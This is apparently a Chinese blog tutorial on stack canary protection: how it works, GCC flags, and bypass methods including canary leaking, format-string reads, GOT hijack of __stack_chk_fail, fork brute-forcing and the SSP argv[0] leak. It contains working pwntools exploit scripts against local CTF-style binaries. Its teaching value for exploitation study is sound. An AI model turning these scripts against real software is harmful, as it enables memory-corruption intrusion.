骑麦兜看落日

[Binary]Canary

字数统计: 772阅读时长: 3 min
2018/07/25 Share

canary介绍

canary原理

canary在栈中插入了一个随机数值,每次进程重新运行时这个数值都会变化

当发生栈溢出时这个随机的数值会被覆盖,程序终止

canary机制

1
2
3
mov rax,fs:28h
mov [rbp-8],rax
xor eax,eax

程序从fs:28h处取8字节的值放在栈上

1
2
3
4
mov rax,[rbp-8]
xor rax,fs:28h
jz short address
call ___stack_chk_fail

函数返回前,再次从fs:28h处将值取出,与栈上的值进行比较,如果改变则终止程序

栈布局如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  Address
Low | |
+-----------------+
esp+10 => | local |
+-----------------+
esp+14 => | char[0] |
| ... |
esp+1b => | char[7] |
+-----------------+
esp+1c => | canary value |
+-----------------+
ebp => | old ebp |
+-----------------+
| return address |
+-----------------+
| arg1 |
+-----------------+
High | |
Address

开启canary

GCC选项

  • -fstack-protector:启用保护,不过只为局部变量中含有数组的函数插入保护
  • -fstack-protector-all:启用保护,为所有函数插入保护
  • -fno-stack-protector:禁用保护

canary绕过

leak canary

思路

进行栈溢出时提前泄漏canary,之后将canary值覆盖回去

原理

canary的最低位为\x00,这么做是为了截断栈空间上的字符串,防止canary的值泄漏

实现

覆盖canary的最后一个字节\x00并将其打印出来,得到真实的canary值

格式化字符串

通过格式化字符串读取canary的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level = 'debug'

cn = process('./bin')

cn.sendline('%7$x')
canary = int(cn.recv(),16)
print hex(canary)

cn.send('a'*100 + p32(canary) + 'a'*12 + p32(0x0804863d))

flag = cn.recv()

log.success('flag is:' + flag)

覆盖TLS中的Canary

当前栈的Canary储存在当前栈的TLS中

可以把TLS中的Canary和栈帧中的Canary覆盖成同样的值

Hijack __stack_chk_fail

思路

劫持__stack_chk_fail函数绕过canary

原理

canary失败的处理逻辑是要进入到stack_chk_failed函数中,完成报错输出以及程序的退出

操作

stack_chk_failed尚未执行时修改其GOT表,使其跳转到无关地址

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python

from pwn import *

context.binary = 'ex2'
#context.log_level = 'debug'
io = process('./ex2')
elf =ELF('./ex2')

get_shell = 0x804859d
stack_failed_addr = elf.got['__stack_chk_fail']
log.info("stack_failed_addr:"+hex(stack_failed_addr))
io.recvuntil("Hello Hacker!\n")

# hijack GOT['__stack_chk_fail'] to ret
payload = p32(stack_failed_addr)+(0xE-0x4)*"A"+"%6$hhn"
io.sendline(payload)

io.recvline()

payload = "\x90"*116+p32(get_shell)

io.send(payload)

io.recv()
io.recv()

io.interactive()

brute canary

思路

对canary进行逐位爆破得到真实的canary值

原理

每次fork出来的子进程canary值相同

操作

由于fork出的子进程canary值相同,最canary的子进程逐位爆破知道得到所有的值

脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context.log_level = 'debug'

cn = process('./bin')

cn.recvuntil('welcome\n')
canary = '\x00'
for j in range(3):
for i in range(0x100):
cn.send('a'*100 + canary + chr(i))
a = cn.recvuntil('welcome\n')
if 'recv' in a:
canary += chr(i)
break

cn.sendline('a'*100 + canary + 'a'*12 + p32(0x0804864d))

flag = cn.recv()
cn.close()
log.success('flag is:' + flag)

stack smash protector leak

当发生栈溢出时得到输出

*** stack smashing detected ***: ./filename terminated

__stack_chk_fail源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void 
__attribute__ ((noreturn))
__stack_chk_fail (void) {
__fortify_fail ("stack smashing detected");
}
void
__attribute__ ((noreturn))
__fortify_fail (msg)
const char *msg; {
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>")
}
libc_hidden_def (__fortify_fail)

__libc_message函数的第二个%s输出argv[0]

当输入足够长的字符串覆盖掉argv[0],就可以使canary输出我们想要地址上的值


参考资料

CATALOG
  1. 1. canary介绍
    1. 1.1. canary原理
    2. 1.2. canary机制
    3. 1.3. 开启canary
  2. 2. canary绕过
    1. 2.1. leak canary
      1. 2.1.1. 思路
      2. 2.1.2. 原理
      3. 2.1.3. 实现
    2. 2.2. 格式化字符串
    3. 2.3. 覆盖TLS中的Canary
    4. 2.4. Hijack __stack_chk_fail
      1. 2.4.1. 思路
      2. 2.4.2. 原理
      3. 2.4.3. 操作
    5. 2.5. brute canary
      1. 2.5.1. 思路
      2. 2.5.2. 原理
      3. 2.5.3. 操作
    6. 2.6. stack smash protector leak
  3. 3. 参考资料